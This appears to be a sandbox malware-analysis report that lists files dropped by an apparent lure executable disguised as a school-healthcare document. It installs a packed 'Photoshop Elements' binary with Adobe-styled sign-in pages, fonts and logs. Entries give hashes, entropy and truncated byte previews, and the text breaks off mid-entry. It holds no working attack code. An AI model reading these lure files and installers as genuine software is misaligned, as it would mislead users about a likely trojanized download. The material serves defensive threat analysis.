Preview:	].s5... ...............X\...;...{......................0.`.....42...{5.#5...\|I.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................T..#5...\|i..................z..#5...\|I..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08219266610581169
Encrypted:	false
SSDEEP:	3:jyYexio6gGqt/57Dek3JYFFMAllEqW3l/TjzzQ/t:jyzxL6gHR3tYFKAmd8/
MD5:	B3F031C60EE15767B994CEE74B6BDB5A
SHA1:	D0DAE03146FFBBF879787847F11B10ACBBEA49C1
SHA-256:	70B5E19DC37306E91DB01B2972A92DBCE75BF7F1C6413FC018D8578B46B6669A
SHA-512:	2C8EB067585F1EDED28EA168626057ED6B2599A0A1C6BF1C7DC2E21FA7CD1BCA3E26E233F2EA09FA5520F05FA0D65E689861E532CDFAC95B16A0C10CE1EF3E61
Malicious:	false
Preview:	.\.......................................;...{..#5...\|I.42...{5.........42...{5.42...{5...Y.42...{59.................z..#5...\|I.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\OOBE\temp_lbs_wid

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	38
Entropy (8bit):	3.5471593428359363
Encrypted:	false
SSDEEP:	3:KxWCdCTjI1dmIq2pkTYn:KxWCdCv0mSaYn
MD5:	56D08B9E03929A3E469FA1D986F4BACD
SHA1:	E0CCCA71EB4E81166156D41640CA4D05E079F0A3
SHA-256:	16F4816099F13DE4672B65AF02610E4E6FCC7F22EA678879E5B15AE789D8F8DF
SHA-512:	7F6ECAB4C47EF6D6F1A41F9440828AE07F0EA802739542CCDAF77CE67EF5B84607D1F6235D46D6D53B74268EF243F01E11D6EE01ABAEA99F28BFAC5707F82DB6
Malicious:	false
Preview:	{042352A1-4F6F-463A-AC3E-1662454565A6}

C:\Users\user\AppData\Local\Google\Chrome\User Data\component_crx_cache\gcmjkmgdlgnkkcocmoeiminaijmmjnii_1.b48b30af5ce18c96128bfff9d2755c7932a1f32adc66f68322f7dd505db9626f (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	37064
Entropy (8bit):	7.971992903016411
Encrypted:	false
SSDEEP:	768:hCy8Oi1BjTqoAPGFT3K03Y9sTGwuuQ4bV7V5lrJgNimWE8+a:V8vBvsGB3NeduQ4bHDFC38r
MD5:	A562A2292F195C97C250581ABFC43411
SHA1:	B00AFCCCFB1CD3E8CAA9BC33A2C14D64B0C10A16
SHA-256:	B48B30AF5CE18C96128BFFF9D2755C7932A1F32ADC66F68322F7DD505DB9626F
SHA-512:	B2984E16532BEC98918EB6ABBF619FECE09D50E4F2ADB1AB3860B2CAD9FB2030955BDAA09CC8D9D0778753F7F2F864F8B3481C894921F424BDFC27CC13A535E5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........qv+....B. o.}.0...l.....$.:......z.....D.@..h..=.87..(..9PG..j.S......t.d.K..B.f....L:k....w.....~.z.[.JD........H.S@..C+...^.....p...A.4W....F......7-_H..s..%.=$.;.!...Q..3..v.=..l..(..Zl.....w....;...W.....7...J.7...L.:@.Wy}.r>....RK..F.........0.."0....H.............0..........Dk.md)=..$.3..r......w.O........{._.-%....G....7R=.+..OA.....M~..(.t.(.R.J.."i..L_g..;.+^'..9.#../.T;-W..W_....OIC%..tRT...nB;(.i.w.W..*..^.=..<...K.}..)[$.E...U.t.......?YE.zW.2l..~.....R._...uRI...Qn..[..u.+........T(T/....(..r....qJ.6z..........F....v18..nEGY.8..kK.....".Kt....G....f..\|].....\.....B%.......Y._).zeqS.,.W......]$...elu[.B..AX^rv^.21.T?.%..y....w".x..

C:\Users\user\AppData\Local\Google\Chrome\User Data\component_crx_cache\gonpemdgkjcecdgbnaabipppbmgfggbe_1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	7326
Entropy (8bit):	7.727942782725483
Encrypted:	false
SSDEEP:	192:C37oyTIs04q37YgZkUBOoHMdNiP6nCm/9xjvhoRx6x82trRn:YTqU8AoH6n5zloaZN
MD5:	674314F5514D6F7EE43338AC4C765BFF
SHA1:	475BDCF05A8640634D82B60767100CDA5953396D
SHA-256:	03CCCBB22B17080279EA1707C9AB093C59F4F4DD09580C841CFA794CB372228D
SHA-512:	3731724AC6EA813251C12868C4FD6CE1E0E742D6655A9CDF638387A05330374129A261F73F93D06595FCF8A0DD558CE191A2D6D7B21F76FC54FBA2674573355F
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........Z......c.:..k7..O....32.k$H:...Q...a...r>xNa.....c..!....3...s.......w...{.W.&\.MY..OT!....u..}.T-._W.\^.2.8.r.t.e....i7..ug..<..t.4D...V0...X.o..G.@..._H...E....".'.)..x..]B.3....a..o1.Q..F/..m}..h\|s=HX.w"..+..>.Q.....\.S.Q~..~.,9..c!.v.3j,....h[.......0.."0....H.............0.........bi] ,7.T#}.....L.......J...M.h.!.ZY...D^....j...1..BaR.B...l...lk....}>#.e.Qy.g..a...r....Y.......j5.m...Z.A.....R<E...E....q/..Y!3.;'..m.L{.O".M.,.t..}.....}\|..BjP.k....+...M{.;....E.i...'....k^]8.I...s..^...e.v......BV.Gk0......H.....B.=.]..`.c..p4....j....7.e.N(....].a..:...,..:....X.._.6[h..<...~.......y.b.T....1.N......+.S.../...\..7.m...5.....^.(,..#.1X.

C:\Users\user\AppData\Local\Google\Chrome\User Data\component_crx_cache\neifaoindggfcjicffkgpmnlppeffabd_1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1181927
Entropy (8bit):	7.997580237306415
Encrypted:	true
SSDEEP:	24576:rq9Lbk1ZSPg10//xALQtigTPnWqHAD/Dzj4ZmM4/wIwIs10XYyyJeSq3IfI+GN1s:6LQPcC0//yLlgTPWqgzDH4ZmZs6XYy8r
MD5:	F265D47475FFD3884329D92DEEFAE504
SHA1:	98C74386481F171B09CB9490281688392EEFBFDD
SHA-256:	C900BA9A2D8318263FD43782EE6FD5FB50BAD78BF0EB2C972B5922C458AF45ED
SHA-512:	4FD27594C459FB1CD94A857BE10F7D1D6216DBF202CD43E8A3FA395A268C72FC5F5C456C9CB314F2220D766AF741DB469C8BB106ACBED419149A44A3B87619F1
Malicious:	false
Preview:	Cr24..............0.."0....H.............0...........\7c.<........Fto.8.2'5..qk...%....2...C.F.9.#..e.xQ.......[...L\|....3>/....u.:T.7...(.yM...?V.<?........1.a...O?d.....A.H..'.MpB..T.m..Vn Ip..>k.\|1..n.<Fb..f..Q1.....s..2..{.6....Pp....obM..1.......b1.......(.u^.'z......v.F.W.X4."-eu...b.........R....H.4.>..gg.n6:...d1.<X.R&..V...5.d..o\%r'y..W....}.Gk!..r.7..k.@n..^....[.&......^..>.Su...^"aZ.......>m~.....u+..O.....3$s...ABo..)........4..W.3vp^.'..OF.........f.u.(o..).f..Yu\\..`.z.c...B.Bb.v..w.........c4r../..d\|...&@Wk...W..@......0.."0....H.............0..........,.v@....]...<.....n..m.RI..~o.....K..+B/$.).EP....H/..}......$.]....m.Y....P.......&/.Q...@7..`.$M..(-!m...*.H....k.P......E%.(.DvnlS....d....$.\|....K.......5.....k?........XG..0.... .m...c3O.......xm.x,.D.duG..F+.. Q!.NJT..&..y..LHng.'.[..._i.Pt.........w...:...q.../J..R1....N..]..b._...]y4..f......@.x..\B..h..8b0...{pi..(.....N=@..V...S..o\|d;....j.Kx.A..+.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	data
Category:	dropped
Size (bytes):	49120
Entropy (8bit):	0.0017331682157558962
Encrypted:	false
SSDEEP:	3:Ztt:T
MD5:	0392ADA071EB68355BED625D8F9695F3
SHA1:	777253141235B6C6AC92E17E297A1482E82252CC
SHA-256:	B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7
SHA-512:	EF659EEFCAB16221783ECB258D19801A1FF063478698CF4FCE3C9F98059CA7B1D060B0449E6FD89D3B70439D9735FA1D50088568FF46C9927DE45808250AEC2E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\index[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (985), with no line terminators
Category:	dropped
Size (bytes):	989
Entropy (8bit):	5.0158148026932
Encrypted:	false
SSDEEP:	24:0E0JYyRuUVsGruT0CpeLm7WaYcosVk7EituMGLaMa:0EvygHT0AeLGW9sWftuMvB
MD5:	8ACB04E01887F879E9E42213AB939C65
SHA1:	BDE3838CB032F27236509AD462467B79E8798761
SHA-256:	A45FAE58FCCA382FC6716FCD451A8D7D981747198E8EB2674DB8788AE6EC0696
SHA-512:	E4AB9B9AE71254DA98FD6B6EDA058891E86CFF064614AE86A21B052716F0BCB2AFAAE8E90C4AF40FC97F4755705C7B20246EDC726631418FBFD533C37D71B672
Malicious:	false
Preview:	<!doctype html><html lang="en"><head><meta charset="UTF-8"><link rel="icon" href="../favicon.ico"><script defer="defer" src="../main.b0672d3a39922f82eec8.js"></script><link href="../styles.edd438b7aa7a327c3ab3.css" rel="stylesheet"></head><body class="spectrum spectrum--lightest spectrum--large"><div class="container"><noscript><div class="spectrum-Body4 toaster">JavaScript is disabled.<br/>Please enable JavaScript and try to sign in again.</div></noscript><div class="container-content"><h1 class="spectrum-Heading2"><strong>Check your browser</strong></h1><div class="spectrum-Body4 mod-top-spaced">We.ve opened a new browser tab for you to sign in. (Once you.ve been authenticated, you will automatically continue here.)</div><div class="footer"><hr class="spectrum-Rule spectrum-Rule--medium mod-bot-spaced"/><div class="spectrum-Body5">If your browser is not responding, <a id="Cancel-Link" href="#" class="spectrum-Link">sign in here</a></div></div></div></div></body></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\main.b0672d3a39922f82eec8[1].js

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (65453)
Category:	dropped
Size (bytes):	93688
Entropy (8bit):	5.21686506400035
Encrypted:	false
SSDEEP:	768:8OjQydyiodEtkCB+uuhQmJ++xAE1e1GCSCk0YQjdmiFC9CUgCGifQrfj7x60ECP0:7jQMtodM+uuzug56dqta5c6fUV4E9j
MD5:	6AB5F87F3C4C7DDEBFD5711E66C58A6C
SHA1:	55BE8A98377540C25CEC30B9A995D53058DF0196
SHA-256:	63BE85C4C16B1D922F38CC01810B0547949531985C6D3360FADB8D07C6AE4E47
SHA-512:	D7C8E71B21B498CC7C1EF57B5AAA04F5A706F6C0799A971C5ADC2D3274F11F077BCF0B83C28B27920FE0874C94107ECD3D0CB281E65E9D0DDE2E8EC289DC72DF
Malicious:	false
Preview:	/! For license information please see main.b0672d3a39922f82eec8.js.LICENSE.txt /.!function(){var t={479:function(){(function(){"use strict";var t,e;if(!(t=window.location).origin){e=t.protocol+"//"+t.hostname+(t.port?":"+t.port:"");try{Object.defineProperty(t,"origin",{value:e,enumerable:!0})}catch(r){t.origin=e}}}).call(this)}},e={};function r(n){var o=e[n];if(void 0!==o)return o.exports;var i=e[n]={exports:{}};return t[n].call(i.exports,i,i.exports,r),i.exports}r.d=function(t,e){for(var n in e)r.o(e,n)&&!r.o(t,n)&&Object.defineProperty(t,n,{enumerable:!0,get:e[n]})},r.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(t){if("object"==typeof window)return window}}(),r.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},r.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},function(){"use

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\styles.edd438b7aa7a327c3ab3[1].css

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	ASCII text, with very long lines (63586)
Category:	modified
Size (bytes):	321167
Entropy (8bit):	5.086458047670212
Encrypted:	false
SSDEEP:	1536:KMGSnbnLAEnB/6n2AT3hHs19U2sRhmL0sUn9TEezt4n4Zl8r:GJkTezta
MD5:	DAD4CA1B663D737D6E8B8F1157A066F6
SHA1:	82FFD15D112DB2DEE16BDD4BD1D7DCA18B1345DA
SHA-256:	510C1AB4834E60ACDD19AA91E627DA2A2EF9C5E5D5377A212F3DB525DFCC3813
SHA-512:	B4C1BD2503F2F8CE6BD1E5319800D9D348ED347CC9B9E413565070BBEB077E6F1C24929D245AB231493C8280C8397822A5E96ED62C5CA19265F6523EA2E56E5A
Malicious:	false
Preview:	/! normalize.css v8.0.1 \| MIT License \| github.com/necolas/normalize.css /html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main{display:block}h1{font-size:2em;margin:.67em 0}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}img{border-style:none}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,[type=button],[type=reset],[type=submit]{-webkit-appearance:button}button::-moz-focus-inner,[type=bu

C:\Users\user\AppData\Local\Temp\26e22c944a289b4cdd81b4ea83e051ad.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
File Type:	data
Category:	dropped
Size (bytes):	943593
Entropy (8bit):	6.683286371944535
Encrypted:	false
SSDEEP:	24576:jv3J8Stk9f6g3Sw8N+JIIxa6tHq6JtYyYVr7VglM+kT:jG04Pi3NaIjOKuuyYVr7SlbA
MD5:	3F893C500BFCFF220640DB529EB18F37
SHA1:	4D063497249508D0C99D32FE6BFB8223D0A138F0
SHA-256:	26CC7078A0B8FD480708C4CF1B738524FCF24F729B181DDC4DB2F5D38AC1A681
SHA-512:	AEC39D4AD64D1E5D4445EAA6C298C770AFF9F7DC2B6D732C1A744EFB8FF31F1A4C63334A140120D2010A97CAB1020E6850F7E1A9E3509B47685FD9C8E0F86904
Malicious:	false
Preview:	, .9K..?..db...&+..Lc_Ob@Q.s.....$.9;\|[...).)8..q"..8..Gm..\|%.!O.4!#..6.O/(&z;S>)).Ge?.(.;..=9.J 15z.-1= 2>.y,..33.T!=$_ ,5.6...:r..#. +IKpw.-U>...)..$9..w&.....&...2j.C.,y~Q{t.....<..... ;.K7)...q&..6+....{)..(c..'y-q#!..3.q..*.k>.\|x<....G. %;.]...z..,Mi..}/.+5M( "!%.qu..:.9CV?&.'ba...1',%56qH....1/...Z9'.+2.0;.c1H0.#+_s%b.7.:p..zr@..a.55..'.<#-...<{R.(.!..).r)<.: ]..[Z.974.."86.F:T..k.--%.9.y)........Z6.j\|9.0.O\|.r+4-.1.-..}s.."z)....z.=9UL+q1'+. q7>.\|...1q.F"f.8=e...).'39.C...'...%.y."..(. ..._.>m.4......x%/.9..5&..\|?.5 ..; >.s ;.[.as2.Q..o4?)$..5p..=...&$..!{."..m./'>'5..7!...!+..$.%.!.3A..).0)`x&.2.6-.?..c~.q..#_6.[#s1{vgfW<..8.>......%..'5..#3..>....d?.0.j.{.(...4.(.z#...+.7(&%.D ..9.<?x@~'$3.;Ls+:.7..5.)..7.<07/d..5<..0.7.>Q1.!)>....\"7.A .+9". s.!/r22=......-...-'R@..1.#.9. .544..&j>.\|`9..\| C.\..'..2.8...I;8.&1u(c.4.$....p..X2.A.=.v/)..."..._..;L(07"...\|6.+..09... #'2H).:'$..oH9..{d$..?.Z)?EX?C./0<.<!7.?-%NnM./..)..q6_ (,..?m..%7."....3Q/..!...?*3 ?[..0.#..8.<(...-'..R

C:\Users\user\AppData\Local\Temp\CreativeCloud\ACC\AdobeDownload\HDInstaller.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (1197), with CRLF, LF line terminators
Category:	modified
Size (bytes):	34914
Entropy (8bit):	3.7620728084081025
Encrypted:	false
SSDEEP:	384:styo2mh57cVQlhviG+aNSAOAA3t73GqHo/gk+lr7MICobonF/gsb:sgox/7cVdAOAGt7lHo4k+ZqoboF4sb
MD5:	F48B8C53C16D68AB7CE90068F56D3349
SHA1:	A8883D1C475ED2E6D6F80FC3D394DB011520C177
SHA-256:	CBE1FB3634DF4EA84DE515C6999DF2333EA23535B98BC54B0993D939C3DFCB74
SHA-512:	F34C376EE39E94FEE1D4BBE3A2574C7089C7BF50CF086E1C50412D2635EE51376E626418A428E1282EAE5EDFADC06195A3277C45932F382834E0C916854C2E93
Malicious:	false
Preview:	..1.1./.1.3./.2.4. .1.5.:.2.2.:.5.8.:.4.1.3. .\|. .[.I.N.F.O.]. .\|. .7.3.6.0. .\|. .B.o.o.t.s.t.r.a.p.p.e.r. .\|. .S.e.t.-.u.p. .\|. .A.p.p.l.i.c.a.t.i.o.n.C.o.n.t.e.x.t. .\|. . .\|. . .\|. .7.3.6.4. .\|. ........................ .W.o.r.k.f.l.o.w. .s.t.a.r.t... .V.e.r.s.i.o.n.:. .5...1.0...0...5.7.3. ..........................*.....1.1./.1.3./.2.4. .1.5.:.2.2.:.5.8.:.4.1.3. .\|. .[.I.N.F.O.]. .\|. .7.3.6.0. .\|. .B.o.o.t.s.t.r.a.p.p.e.r. .\|. .O.O.B.E.U.t.i.l.s. .\|. .C.o.m.m.a.n.d.L.i.n.e.P.a.r.s.e.r. .\|. . .\|. .O.O.B.E.U.t.i.l.s. .\|. .7.3.6.4. .\|. .P.a.r.s.i.n.g. .t.h.e. .c.o.m.m.a.n.d. .l.i.n.e. .p.r.o.v.i.d.e.d... .N.u.m.b.e.r. .o.f. .c.o.m.m.a.n.d. .l.i.n.e. .a.r.g.u.m.e.n.t.s. .i.s. .1.....1.1./.1.3./.2.4. .1.5.:.2.2.:.5.8.:.4.1.9. .\|. .[.I.N.F.O.]. .\|. .7.3.6.0. .\|. .B.o.o.t.s.t.r.a.p.p.e.r. .\|. . .\|. .A.p.p.l.i.c.a.t.i.o.n.C.o.n.t.e.x.t. .\|. . .\|. . .\|. .7.3.6.4. .\|. .C.o.m.m.a.n.d. .l.i.n.e. .a.r.g.u.m.e.n.t.s. .a.s. .X.M.L.:. .<.C.o.m.m.a.n.

C:\Users\user\AppData\Local\Temp\NGL\NGLClient_HDESD1.ngllogcontrolconfig

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	176
Entropy (8bit):	4.866329860762867
Encrypted:	false
SSDEEP:	3:GnJl1lysHFgtAeoaVjo+cAeoujPBDJlf2mLlxIPNrRlCkY:G3/uth6tjXleMl61rWkY
MD5:	89C34C89C9A7B412D588F23D9FDFBAE0
SHA1:	9165DF91E2EF643DB2BE37E607BCF5595845FB53
SHA-256:	AA44298C1F5960141C91A3189008FBB20237B936E19E4DDB766ED1F8FC3E93CE
SHA-512:	0E4655E70F8086128F1F7BE1CFCF3ADA2BC2A1DE9E7272C15EC56C866261DFE4F7C55B8A6F3DBE84AAB79034A6B5E0E7FFDB48913E0FE090E97EC5F83B5880BC
Malicious:	false
Preview:	{..."level" : "ERROR",..."maxFileUploadSize" : 1000,..."minFileUploadSize" : 500,..."uploadInterval" : 604800000,..."uploadOnError" : false,..."uploadOnSessionStart" : false..}

C:\Users\user\AppData\Local\Temp\PhotoshopElements_2024_LS30_win64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-35JO9.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	modified
Size (bytes):	4616696
Entropy (8bit):	7.889902633304767
Encrypted:	false
SSDEEP:	98304:zEN1arTV6P79lzRhuET6WtjIiM+BVHv4EW2hkQc8yUDM8ERvBGzhVarMgeqxFMxx:gNQlm9lzRj3x/wlhbxFQDR/4Q
MD5:	43843D75A5EEAD8EE3B71EE2ADCBA3FE
SHA1:	980C1446B25652312010C86C661D20BDAD647FDC
SHA-256:	BAFD3E50FCBC0CF95C718E9BCE72012991883908EC02B62806E0A6A451864483
SHA-512:	90547D04EEBC6B5D250BB7F27E1EDA926A56CEBEF1591879DBC36FB2112985BFDB29478CA1925A8727701CD52CE879FA6C4B74CCE42649A3ADF4558E94558C54
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: WinterRoost_Bearfoos Malware.zip, Detection: malicious, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......i...-..-..-..9...>......>......0..9..........+......Y..C...%..9......9.../..9.....-..d.......J....j.,..-...,......,..Rich-..................PE..L...2^.c...............!.PE......@R.p....PR.......@..........................p.......[G...@.................................hi..........h............GF. ..<j..............................T.......t.........................M.....................UPX0.....@R.............................UPX1.....PE..PR..NE.................@....rsrc................RE.............@..............................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

C:\Users\user\AppData\Local\Temp\datE480.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Web Open Font Format, TrueType, length 143804, version 0.0
Category:	dropped
Size (bytes):	143804
Entropy (8bit):	7.994906444446731
Encrypted:	true
SSDEEP:	3072:esmFO0Yj8E3HftwXBS/Zc2mR+R7yHRS44+Ia8pRZZ3TAhG:e9LYQE31wxhC7CRSR3a8pPZDAhG
MD5:	D070306A9062178AFDFA98FCC06D2525
SHA1:	BA299B83EB0A3499820FDDCF305AF0DDBDA3E5D0
SHA-256:	8F5CCDFD3DA9185D4AD262EC386EBB64B3EB6C0521EC5BD1662CEC04E1E0F895
SHA-512:	7C69E576B01642ECD7DD5FE9531F90608FA9ADE9D98A364BCC81CCD0DA4DAEF55FD0BABC6CB35BFF2963274D09EF0CD2F9BCE8839040776577B4E6A86EB5ADD5
Malicious:	false
Preview:	wOFF......1................................BASE.......F...Fe(].DYNA............m...GPOS......`s....-GSUB..g(....../FL.Y.OS/2...\|...W...`[.Hcmap..............gcvt .......&...&...Ofpgm...........s.Y.7gasp................glyf...@..in..)...+.head.......6...6....hhea.......!...$....hmtx............ ).loca.......V........maxp....... ... .\|..name...H........\|'5post......#...R...!.prep...8...B...B0."...............ideoromn..DFLT..cyrl..grek..latn...................`.........-.0.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).Q.....s.....L./..L`.//..F..i.C..+=ctEc.h.. ....G..d...57..J..T...AYCC.*.;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7..,.._.<..........c[......c.c.d...>..............x.SIn.0.}......}dJ..A+;1.....@..E...Wb.x.nz.... .....z.>QLk.T.....OQ6.w....u.Qc..9.q.opmq..0..E...6.x.....-...O...[.2.i....'...8_-nb.\|..E./....h[\|...bq....

C:\Users\user\AppData\Local\Temp\datE55C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Web Open Font Format, TrueType, length 144168, version 0.0
Category:	dropped
Size (bytes):	144168
Entropy (8bit):	7.994901288784953
Encrypted:	true
SSDEEP:	3072:0JsrKvbKys3MjOtF2manL9S85AsPO5TKljTSTXTqDqd7GrinYhG:0JsVcbnL9/AsPCT6SrTBauYhG
MD5:	E204643042591AEEC2043C5EAE255099
SHA1:	BA5F2F94740400F540BEFC89F1C4D022A26FAA84
SHA-256:	7F58F56A7A353F8FC78EC2757394A7C7F28165E6BBF2A37D6A6E48E845874F3E
SHA-512:	7196C5B8E88100A08EB296BE7570DF4D045268AD6BAB1C45EBAA9063AA9B46B8896886E24A9F861E322B167DD95E18D5A18ABB76F1BB01C8BC85C36BEAD855EF
Malicious:	false
Preview:	wOFF......3(.......\|........................BASE.......F...Fe$].DYNA............m...GPOS......`......>x.GSUB..gX....../FL.Y.OS/2...x...Y...`\7..cmap..,............gcvt .......&...&...nfpgm...........s.Y.7gasp................glyf...p..j...7.uZ.yhead.......6...6...)hhea.......!...$....hmtx................loca.......z........maxp....... ... .\|.#name...H............post......#...R...!.prep...4...B...B.-................ideoromn..DFLT..cyrl..grek..latn...................\.........L.S.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).Q.....s.....L./..L`.//..F..i.C..+=ctEc.h.. ....G..d...57..J..T...AYCC..;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7.l.^_.<..........c[......c.f.]...h..............x.R.n.@.=N."..!..G.m'c.V.^%m..j.H.;.$.b{"{.+$.......,...\|..N.SQ...j.3..s.<..5.!@.p48.+......=..;\y.&.x.=.{\|.7..q.!...._rV.......-t.....C...65?<.....x.Zz.

C:\Users\user\AppData\Local\Temp\datE5F9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Web Open Font Format, TrueType, length 143016, version 0.0
Category:	dropped
Size (bytes):	143016
Entropy (8bit):	7.994779560734768
Encrypted:	true
SSDEEP:	3072:2De4YJzog90DMe34IKyca1puoUuDOa5xtTt9mkmpsxhG:2D/skj4IK+1lUU31t9cOxhG
MD5:	DFCE51814CF6D2F42375F948602CD99D
SHA1:	766E162FF305343010B67FBAA28B36AF277C5B34
SHA-256:	7A8A945586A1D21D2922CB4AED9E28D872129F6C396AC69F47EF3E32EA972BA0
SHA-512:	2C9489C18719AD29928E86A9E631E080B024C882A77A582F40F4F86F625DE9B08AD3C09710D5EE32B5CAE5284FD960F412F05290BDB3B4709F097B269B99CE21
Malicious:	false
Preview:	wOFF........................................BASE.......F...Fe!].DYNA............m...GPOS......`c....5..GSUB..g......./FL.Y.OS/2...x...Y...`]_..cmap..'............gcvt .......&...&....fpgm...........s.Y.7gasp................glyf...0..fQ...($g..head.......6...6...hhea.......!...$....hmtx...... .....N.Rloca......`.....,..maxp....... ... .\|.yname...H..........{Qpost......#...R...!.prep...4...B...B..................ideoromn..DFLT..cyrl..grek..latn...................Y.........m.y.................7...}............x.].=N.0...8,..H..-+.+..R8.P.@(<.?.D..Hih\p..3]..`.....3......k..m.......L.. ...I ..U.I..8sl..w..dQ?..:.x.....o[...`..V.t...).Q.....s.....L./..L`.//..F..i.C..+=ctEc.h.. ....G..d...57..J..T...AYCC..;..`<1....b.OLDYTI..<..Q.a.5..=.....'5...$.k.................7....._.<..........c[......c.V.L..................x...n.@.....!.V,.@.c.V..!i..U.D..'.4QlO.......@b...$<.'.)...W.....;?6.W....u.../8j.....w ..s....].....^..}D........=.x.............=.=..c.....t..1..

C:\Users\user\AppData\Local\Temp\datE704.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-39DMU.tmp\PhotoshopElements_2024_LS30_win64.exe
File Type:	Web Open Font Format, TrueType, length 106380, version 0.0
Category:	dropped
Size (bytes):	106380
Entropy (8bit):	7.993290139237183
Encrypted:	true
SSDEEP:	1536:JyMTihCz2OrS11KrlnLQmqz8sZ58o17gosLpZ7wC/jRLS2MsXAtYpIdl3vfyupNJ:JbTyry+1yl8mq4LZG2LAtYp8zpNZ/
MD5:	FA794EC12D353C26805FF53821331FC2
